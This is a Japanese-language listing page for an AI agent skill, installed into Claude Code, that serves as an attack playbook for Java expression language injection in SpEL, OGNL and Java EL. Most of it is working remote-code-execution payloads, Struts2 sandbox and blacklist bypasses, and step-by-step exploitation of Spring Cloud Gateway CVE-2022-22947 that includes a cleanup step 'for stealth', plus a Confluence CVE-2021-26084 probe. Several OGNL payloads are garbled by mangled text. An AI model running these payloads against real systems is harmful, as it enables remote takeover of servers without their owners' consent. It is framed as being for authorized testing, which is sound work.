expression-language-injection について
Java アプリケーションの式言語インジェクションを評価する、認可済みテスト向けのセキュリティスキルです。SpEL、OGNL、Java EL を区別し、検出方法や攻撃パターン、サンドボックス回避を扱います。
主な機能
- 01SpEL、OGNL、Java EL の解説
- 02複数構文の検出プローブ
- 03フレームワーク別の攻撃経路
- 04サンドボックス回避手法
- 05CVE とペイロードの参照
活用シーン
- 01Java アプリの式評価器の特定
- 02Spring や Struts2 の注入問題の評価
- 03既知の CVE 攻撃経路の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill expression-language-injectionインストール後、Claude Code で/expression-language-injectionを入力して読み込まれたか確認します。
詳細
SKILL:式言語インジェクション — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:SpEL(Spring)、OGNL(Struts2)、Java EL(JSP/JSF)を対象とした、エキスパート向け EL インジェクション手法です。SSTI とは異なり、EL インジェクションはテンプレートエンジンではなく、Java フレームワークに組み込まれた式評価器を標的にします。サンドボックスの回避、
_memberAccessの操作、アクチュエーターの悪用、実際の CVE チェーンを扱います。
0. 関連するルーティング
- テンプレートエンジン(Jinja2、FreeMarker、Twig)については ssti-server-side-template-injection を参照してください。攻撃対象が異なります。
- EL 評価によって JNDI 検索が行われる場合は、jndi-injection を参照してください。
重要な違い:SSTI はテンプレートレンダリングエンジンを標的にしますが、EL インジェクションは Java フレームワークに組み込まれた式評価器を標的にします。検出用プローブ(${7*7})は共通していますが、エクスプロイト手法は異なります。
1. 検出 — ポリグロットプローブ
${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmed
判別方法
${7*7} への応答 | %{7*7} への応答 | エンジン |
|---|---|---|
| 49 | リテラル %{7*7} | SpEL または Java EL |
リテラル ${7*7} | 49 | OGNL(Struts2) |
| 49 | 49 | 両方が有効な可能性があります |
2. SpEL(Spring Expression Language)
SpEL が使用される場所
@Value("${...}")アノテーション- Spring Security の式(
@PreAuthorize) - Spring Cloud Gateway のルート述語およびフィルター
- Thymeleaf の
th:text="${...}"(__${...}__による前処理と併用する場合) - SpEL を使用する Spring Data の
@Query
Runtime.exec による RCE
${T(java.lang.Runtime).getRuntime().exec("id")}
出力取得を伴う RCE(Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
出力取得を伴う RCE(Spring StreamUtils)
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder(Runtime がブロックされている場合の代替手段)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway — CVE-2022-22947
アクチュエーター経由で悪意のあるルートを追加し、SpEL フィルターを使用してエクスプロイトします。
# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output
# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL サンドボックスの回避
SimpleEvaluationContext が使用されている場合(T() 演算子が制限されます):
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL(Object-Graph Navigation Language)
OGNL が使用される場所
- Apache Struts2 — 主な OGNL 利用先
- Confluence Server — 特定のリクエストパスで OGNL を使用
ognl.Ognl.getValue()またはognl.Ognl.setValue()を使用する Java アプリ
基本的な RCE
%{(#cmd='id').(#[email protected]@getRuntime()).(#rt.exec(#cmd))}
Struts2 サンドボックスの回避 — _memberAccess の操作
Struts2 は SecurityMemberAccess によって OGNL を制限しています。従来の回避方法では制限を解除します。
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2 OgnlUtil のブラックリスト解除
以降の Struts2 バージョンでは、クラスおよびパッケージのブラックリストが使用されています。excludedClasses と excludedPackageNames をクリアして回避します。
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#[email protected]@getRuntime().exec(#cmd))}
主な Struts2 CVE
| CVE | ベクター | ペイロードの場所 |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type ヘッダー | Content-Type 内の %{...} |
| S2-046 (CVE-2017-5638) | マルチパートのファイル名 | アップロードファイル名内の OGNL |
| S2-016 (CVE-2013-2251) | redirect: / redirectAction: プレフィックス | URL パラメーター |
| S2-048 (CVE-2017-9791) | Struts Showcase | OGNL を含む ActionMessage |
| S2-057 (CVE-2018-11776) | 名前空間 OGNL | URL パス |
Confluence OGNL — CVE-2021-26084
Confluence Server では、queryString またはアクションパラメーターを介した OGNL インジェクションが可能です。
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE
4. Java EL(JSP / JSF)
Java EL が使用される場所
- JSP ページ:
${expression}および#{expression} - JSF(JavaServer Faces):値およびメソッドのバインディング
- カスタムタグライブラリ
RCE ペイロード
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. 検出方法
Input reflected and ${7*7} returns 49?
├── Java application?
│ ├── Struts2? → Try %{...} OGNL payloads
│ │ └── Check Content-Type injection (S2-045)
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
│ ├── Confluence? → Try OGNL via action parameters
│ └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
├── OGNL: clear _memberAccess / excludedClasses
├── SpEL: reflection bypass for SimpleEvaluationContext
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)
6. クイックリファレンス
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#[email protected]@getRuntime()).(#rt.exec('id'))}
# OGNL with sandbox bypass:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh